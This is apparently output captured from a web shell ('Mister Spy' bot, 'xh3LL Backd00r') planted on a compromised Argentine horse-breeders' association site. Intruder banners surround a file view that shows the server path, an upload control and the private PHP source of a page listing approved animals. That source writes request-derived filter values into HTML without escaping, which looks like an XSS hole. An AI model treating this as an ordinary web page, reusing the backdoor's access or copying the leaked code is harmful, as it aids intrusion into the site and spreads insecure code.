Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/funcionales_aprobados.php

<?php 

require_once('inc_library.php'); 


/* obtiene datos enviados */
$Page 	= (isset($_REQUEST['Page'])) ? intval($_REQUEST['Page']) : 0;
$Action = $_REQUEST['MainAction'];
$Id		= $_REQUEST['Id'];

/* si el filtro esta aplicado mantiene el filtro */
$filterStyle = "display:none;";
$filterMostrar = "";
if ( isset($_REQUEST['filtroActivo']) && $_REQUEST['filtroActivo'] == 1 )
{
	$filterStyle = "";
	$filterMostrar = "display:none;";
}

/* armamos el filtro */
$filter = array();
$filter['Nombre'] 		= mysql_real_escape_string($_REQUEST['FilterNombre']);
$filter['NumeroSba'] 	= mysql_real_escape_string($_REQUEST['FilterNumeroSba']);
$filter['NumeroRp'] 	= mysql_real_escape_string($_REQUEST['FilterNumeroRp']);
$filter['Aprobado'] 	= 1;

/* declaracion de variables */
$arr 			= array();
$Inspecciones 	= new Inspecciones();
$oPage 			= new Page($Page);

/* SOLUCION TEMPORAL PARA EL PAGINADOR */
if ($Page > $Inspecciones->GetPagesCount($oPage, $filter))
	$Page = $Inspecciones->GetPagesCount($oPage, $filter);

$oPage 		= new Page($Page);
$arr 		= $Inspecciones->GetAll($filter, $oPage);
$CountRows	= $Inspecciones->GetCountRows($filter);
$Paginado	= Pageable::PrintPaginator($oPage, $Inspecciones->GetPagesCount($oPage, $filter), $CountRows);

$strParams = '';
$strParams.= '&Page=' . $Page;
$strParams.= '&FilterNombre=' . $filter['Nombre'];
$strParams.= '&FilterNumeroSba=' . $filter['NumeroSba'];
$strParams.= '&FilterNumeroRp=' . $filter['NumeroRp'];

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol_ventas.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->

<?php Modules::WriteClientFunctions(); ?>
<script language="JavaScript" type="text/javascript">

function SetPage(Page)
{
	var frmData = Get('frmData');
	
	if (frmData == undefined)
		return false;

	frmData.Page.value = Page;		
	frmData.submit();
}

/*function ClearCampos()
{
	var frmData = Get('frmData');
	frmData.FilterNombre.value = '';
}*/

function ClearFilter()
{
	var frmData = Get('frmData');

	location.href = 'expositores_funcionales_aprobados.php';
}								

</script>

<!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
	position:absolute;
	width:119px;
	height:33;
	z-index:1;
	left: 456px;
	top: 324px;
	visibility: visible;
}
#SubInstitucional {
	position:absolute;
	width:127;
	height:2px;
	z-index:1;
	top: 39px;
	left: -17px;
}
#Formulario {
	position:absolute;
	width:124;
	height:33;
	z-index:2;
	visibility: visible;
}
#SubFormulario {
	position:absolute;
	width:129;
	height:11px;
	z-index:1;
	top: 22px;
	left: 31px;
	visibility: hidden;
}
#Ranking {
	position:absolute;
	width:168px;
	height:34px;
	z-index:2;
	visibility: visible;
}
#Subranking {
	position:absolute;
	width:129;
	height:115px;
	z-index:1;
	top: 23px;
	left: -6px;
	visibility: hidden;
}
#Clasificatoria {
	position:absolute;
	width:114px;
	height:34px;
	z-index:3;
	visibility: visible;
}
#SubClasificatoria {
	position:absolute;
	width:118px;
	height:115px;
	z-index:4;
	left: 16px;
	top: 23px;
	visibility: hidden;
}
#Premios {
	position:absolute;
	width:79px;
	height:32px;
	z-index:4;
	visibility: visible;
}
#SubPremios {
	position:absolute;
	width:80px;
	height:22px;
	z-index:5;
	top: 23px;
	visibility: hidden;
	left: 13px;
}
#Institucional {
	position:absolute;
	width:236px;
	height:24px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#institucional {
	position:absolute;
	width:178;
	height:19;
	z-index:9;
	visibility: visible;
}
#subinstitucional {
	position:absolute;
	width:130px;
	height:115px;
	z-index:1;
	visibility: hidden;
	top: 0px;
	left: 150px;
}
#reglamentos {
	position:absolute;
	width:178;
	height:20;
	z-index:6;
	visibility: visible;
}
#subregalmentos {
	position:absolute;
	width:129px;
	height:115px;
	z-index:7;
	left: 150px;
	top: 0;
	visibility: hidden;
}
#Galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subGaleria {
	position:absolute;
	width:129;
	height:51px;
	z-index:1;
	left: 170;
	visibility: visible;
	top: 0;
}
#galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subgaleria {
	position:absolute;
	width:129;
	height:69;
	z-index:1;
}
#Layer1 {
	position:absolute;
	width:200px;
	height:115px;
	z-index:7;
}
#galeria {
	position:absolute;
	width:178;
	height:19;
	z-index:8;
}
#subgaleria {
	position:absolute;
	width:131px;
	height:60;
	z-index:1;
	visibility: hidden;
	left: 150px;
	top: 0px;
}

-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body>
<div align="center"><?php include("ssi_cabezal.php"); ?></div>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
    <td><div align="center"><!-- InstanceBeginEditable name="Flash" -->
    
    <script language="javascript">
	function ViewCalendario(calendarioID)
	{
		window.open('calendario_portada.php?calendarioID=' + calendarioID, '', 'width=800,height=637,scrollbars=NO');
	 	//window.open('calendario_detalle_pop.php?calendarioID=' + calendarioID, '', 'width=800,height=600,scrollbars=YES');
	}

	</script>
    
      <script>(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) {return;}
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/es_LA/all.js#xfbml=1&appId=256106881090724";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="FondoBlanco"><div align="center">
            <script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','902','height','170','src','images/cabezal','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','images/cabezal' ); //end AC code
</script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="902" height="170">
              <param name="movie" value="images/cabezal.swf" />
              <param name="quality" value="high" />
              <embed src="images/cabezal.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="902" height="170"></embed>
            </object>
          </noscript></div></td>
        </tr>
      </table>
    <!-- InstanceEndEditable --></div></td>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
  </tr>
</table>
<?php include("ssi_botonera_nueva.php"); ?>

<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
    <td height="20" class="FondoBlanco">&nbsp;</td>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->        
<table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0">
  	<tr>
    	<td height="25">
        	<table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr>
                    <td height="31" background="images/accc_fondo_botonera.png">
                        <table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                                <td width="10" height="31" valign="middle">&nbsp;</td>
                                <td height="31" valign="middle" class="TituloPrincipal">ANIMALES APROBACI&Oacute;N MORFOL&Oacute;GICA</td>
                                <td height="31" valign="middle"><div align="right"><a href="home.php" class="linkBlanco">[volver]</a></div></td>
                                <td width="10" height="31" valign="middle" class="TituloPrincipal"><div align="right"></div></td>
                        	</tr>
                    	</table>
                	</td>
            	</tr>
    		</table>
    	</td>
  	</tr>
</table>
<table width="96%"  border="0" align="center" cellpadding="0" cellspacing="0">
	<tr>
    	<td>&nbsp;</td>
    </tr>
  	<tr>
    	<td height="30" valign="top">
			<form name="frmData" id="frmData" method="post" action="expositores_funcionales_aprobados.php">
				<input type="hidden" name="Page" id="Page" value="<?=$Page?>">
				<input type="hidden" name="MainAction" id="MainAction">
				<input type="hidden" name="Id" id="Id">
				
            	<div id="Filter" >
                    <table border="0"  class="bordeGrisFondo" align="left" cellpadding="2" cellspacing="2" width="100%" >
                        <tr>
                            <td width="50" class="tituloMenu">Animal:</td>
                            <td align="left" class="tituloMenu">
                                <input name="FilterNombre" id="FilterNombre" type="text" class="camposFormularioSimple" value="<?=$filter['Nombre']?>" maxlength="128">								
                            </td>
                            <td width="50" class="tituloMenu">Sba:</td>
                            <td align="left" class="tituloMenu">
                                <input name="FilterNumeroSba" id="FilterNumeroSba" type="text" class="camposFormularioSimple" value="<?=$filter['NumeroSba']?>" maxlength="128">								
                            </td>
                            <td width="50" class="tituloMenu">Rp:</td>
                            <td align="left" class="tituloMenu">
                                <input name="FilterNumeroRp" id="FilterNumeroRp" type="text" class="camposFormularioSimple" value="<?=$filter['NumeroRp']?>" maxlength="128">								
                            </td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td class="tituloMenu" align="right"><input type="submit" name="button" id="button" class="botonBasico" value="Buscar">&nbsp;<input type="button" name="button2" id="button2" class="botonBasico" onClick="javascript: ClearFilter();" value="Cancelar"></td>
                        </tr>
                    </table>
                </div>
        	</form>      	
       	</td>
  	</tr>
	<tr>
		<td>&nbsp;</td>
	</tr>

<?php if ($arr != NULL) { ?>

  	<tr>
    	<td>
			<div align="right"><? print ($Paginado) ?></div>
        	<br>
			<table width="100%" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
      			<tr class="bordeGrisFondo">
        			<td width="10">&nbsp;</td>
        			<td height="25"><strong>Animal</strong></td>
        			<td height="25"><strong>Rp</strong></td>
        			<td height="25"><strong>Sba</strong></td>
        			<td height="25"><strong>Sexo</strong></td>
        			<td height="25"><strong>Fecha Insp.</strong></td>
        			<td height="25"><strong>Lugar</strong></td>
        			<td height="25"><strong>Inspector</strong></td>
      			</tr>
      
	  		<?php foreach ($arr as $oInspeccion) { ?>

	  			<tr onmouseover="bgColor='#f3f3f3'" onmouseout="bgColor='#FFFFFF'">
        			<td width="10">&nbsp;</td>
        			<td height="20"><?=$oInspeccion->Animal?></td>
        			<td height="20"><?=$oInspeccion->Rp?></td>
					<td height="20"><?=$oInspeccion->Sba?></td>
					<td height="20"><?=Sexos::GetById($oInspeccion->Sexo)?></td>
					<td height="20"><?=CambiarFecha($oInspeccion->FechaInspeccion)?></td>
					<td height="20"><?=$oInspeccion->Lugar?></td>
					<td height="20"><?=$oInspeccion->Inspector?></td>
      			</tr>
	  			<tr>
        			<td colspan="11">
                    	<div align="center">
                            <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                    <td background="images/linea_punteada.gif" height="1"><div align="center"></div></td>
                                </tr>
                            </table>
        				</div>                    
                   	</td>
      			</tr>
      
	  		<?php } ?>      
            
			</table>		
       	</td>
  	</tr>
  	<tr>
    	<td>
			<br>
        	<div align="right"><? print ($Paginado) ?></div>
      		<br>		
       	</td>
  	</tr>

<?php } else { ?>  

	<tr>
    	<td>
        	<table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
          		<tr>
            		<td>&nbsp;</td>
          		</tr>
          		<tr>
            		<td><div align="center"> <img src="images/iconos/alerta.gif" border="0" /> </div></td>
          		</tr>
          		<tr>
            		<td><div align="center"><strong>No hay inscripciones cerradas.</strong></div></td>
          		</tr>
          		<tr>
            		<td>&nbsp;</td>
          		</tr>
        	</table>		
       	</td>
  	</tr>
      
<?php } ?>

	<tr>
		<td>&nbsp;</td>
	</tr>
</table>

          
        <!-- InstanceEndEditable --></td>
        
        </tr>
    </table></td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco">&nbsp;</td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
</table>
<?php include("ssi_pie.php"); ?>

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-25020972-2']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

</body>
<!-- InstanceEnd --></html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat